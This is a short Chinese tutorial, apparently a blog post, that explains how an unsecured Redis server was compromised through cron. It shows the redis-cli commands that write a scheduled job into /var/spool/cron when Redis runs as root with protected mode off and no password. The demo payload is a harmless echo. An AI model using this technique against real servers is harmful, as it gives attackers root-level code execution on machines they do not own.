Redis漏洞入侵实战cron乱码【显哥出品，必为精品】

cron定时任务一直从乱七八糟的网站下载程序，crontab也都是乱码，原来的定时任务已被清空。

开启redis漏洞

关闭安全模式

#redis.conf文件中有一个参数如下，这是redis服务的保护模式，no为关闭安全模式
protected-mode no

redis的启动用户为root

入侵测试

#远程连接redis服务器，不需要密码
[root@jenkins /var/spool/cron]# redis-cli -h 192.168.1.3
192.168.1.3:6379> set 0 "\n\n*/1 * * * * echo Test > /home/test.txt \n\n"
OK
192.168.1.3:6379> config set dir /var/spool/cron/
OK
192.168.1.3:6379> config set dbfilename www
OK
192.168.1.3:6379> save
OK
192.168.1.3:6379>